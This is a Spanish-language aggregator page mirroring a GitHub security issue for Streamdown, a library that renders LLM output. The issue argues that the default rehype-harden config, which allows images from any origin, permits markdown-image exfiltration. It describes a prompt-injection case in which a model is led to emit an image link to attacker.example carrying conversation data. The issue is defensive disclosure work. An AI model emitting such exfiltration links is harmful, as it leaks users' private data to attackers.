Hacktoberfest 2026: los issues que los mantenedores marcaron para octubre, abiertos y aptos para principiantes. Explorar issues de Hacktoberfest

Default `rehype-harden` config allows images from any origin — enables markdown-image exfiltration in AI chat UIs

Abierto
#640 4 comentarios 0 reacciones 0 asignados Ver en GitHub

Los mantenedores suelen responder en 1 día

@Louayzouaoui1 ya está trabajando en esto.

Desde el 6/10/2026.

Evaluación

Dificultad
4/5
Tiempo estimado
3-5 días
Aptitud para principiantes
45/100
Tipo de issue
Error
Claridad
Bastante claro
Estado de actividad
Activo
Stack tecnológico
typescript
Área
security

Línea de trabajo

Start by tracing the shipped rehype-harden configuration in dist/chunk-YOKDWASOASOASO.js and locating its source configuration. Review how allowedImagePrefixes, allowedLinkPrefixes, allowedProtocols, allowDataImages, defaultOrigin, and rehypeRaw are exposed, then check the security documentation. Done means the default behavior or its documented opt-in configuration clearly addresses remote-image exfiltration and raw HTML handling.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

Version: streamdown 2.6.0 (via AI Elements MessageResponse)

What the shipped defaults are (read from dist/chunk-YOKDWASO.js, not from a repro):

rehypePlugins: {
  raw: rehypeRaw,
  sanitize: [rehypeSanitize, schema],
  harden: [harden, {
    allowedImagePrefixes: ["*"],
    allowedLinkPrefixes: ["*"],
    allowedProtocols: ["*"],
    allowDataImages: true,
    defaultOrigin: undefined,
  }],
}

Why this matters for the use case Streamdown targets. Streamdown renders LLM output. When a
model's context contains attacker-controlled text (a fetched web page, a tool result, a stored
record), prompt injection can make the model emit
![](https://attacker.example/p?d=<data from the conversation>). With allowedImagePrefixes: ["*"]
the browser requests that URL as soon as the message renders, with no user action — the
markdown-image exfiltration pattern publicly reported against several AI chat products and
usually mitigated by restricting image origins. rehype-harden's own
purpose is exactly this restriction, but the default config turns it off, and the README
advertises "Security-first — built with rehype-harden", so integrators reasonably assume the
default is restrictive.

rehypeRaw being on by default widens the same surface (raw <img> / <a> are parsed, then
sanitized by the GitHub schema, which keeps src/href).

Ask (any of these would help):

  1. Ship a restrictive default for images (e.g. same-origin / defaultOrigin-relative only, or
    no remote images) and let apps opt in to ["*"].
  2. If ["*"] stays the default, document it prominently in the security section as a
    deliberate choice, with the recommended config for AI-chat apps.
  3. Document how to turn off rehypeRaw while keeping the other defaults.

Happy to test a change.

Lenguaje dominante
TypeScript
Estrellas
5.7k
Forks
307
Merge medio
1 d 22 h
PR fusionados (30 d)
22

Preparar el entorno

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de vercel/streamdown

Todos los issues de vercel/streamdown

Issues similares

Más issues de TypeScript

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.